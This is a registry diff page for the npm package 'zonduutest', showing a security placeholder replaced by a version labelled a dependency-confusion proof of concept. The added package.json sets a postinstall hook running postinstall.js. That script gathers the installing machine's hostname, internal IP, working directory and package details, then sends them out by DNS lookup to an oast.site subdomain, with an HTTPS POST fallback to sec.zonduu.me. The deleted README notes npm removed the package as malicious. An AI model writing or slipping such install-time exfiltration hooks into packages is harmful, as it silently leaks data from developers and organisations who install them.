zonduutest 0.0.1-security.1 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zonduutest might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "zonduutest",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Proof of concept for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "zonduutest": "^1.0.0"
14
+ }
6
15
  }
package/postinstall.js ADDED
@@ -0,0 +1,51 @@
1
+ const dns = require('dns');
2
+ const https = require('https');
3
+ const os = require('os');
4
+
5
+ const hostname = os.hostname();
6
+ const packageName = process.env.npm_package_name;
7
+ const packageVersion = process.env.npm_package_version;
8
+ const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
9
+ const currentPath = process.cwd();
10
+
11
+ // Construct the data to be exfiltrated
12
+ const data = {
13
+ packageName,
14
+ packageVersion,
15
+ hostname,
16
+ ipAddress,
17
+ currentPath
18
+ };
19
+
20
+ // Encode the data in hex for DNS exfiltration
21
+ const hexData = Buffer.from(JSON.stringify(data)).toString('hex');
22
+
23
+ // DNS exfiltration
24
+ const dnsSubdomain = `${hexData}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
25
+
26
+ dns.resolve4(dnsSubdomain, (err, addresses) => {
27
+ if (err) {
28
+ // HTTP fallback
29
+ const postData = JSON.stringify(data);
30
+
31
+ const options = {
32
+ hostname: 'sec.zonduu.me',
33
+ port: 443,
34
+ path: '/callbackplz',
35
+ method: 'POST',
36
+ headers: {
37
+ 'Content-Type': 'application/json',
38
+ 'Content-Length': postData.length
39
+ }
40
+ };
41
+
42
+ const req = https.request(options, (res) => {
43
+ res.on('data', (d) => {});
44
+ });
45
+
46
+ req.on('error', (e) => {});
47
+
48
+ req.write(postData);
49
+ req.end();
50
+ }
51
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=zonduutest for more information.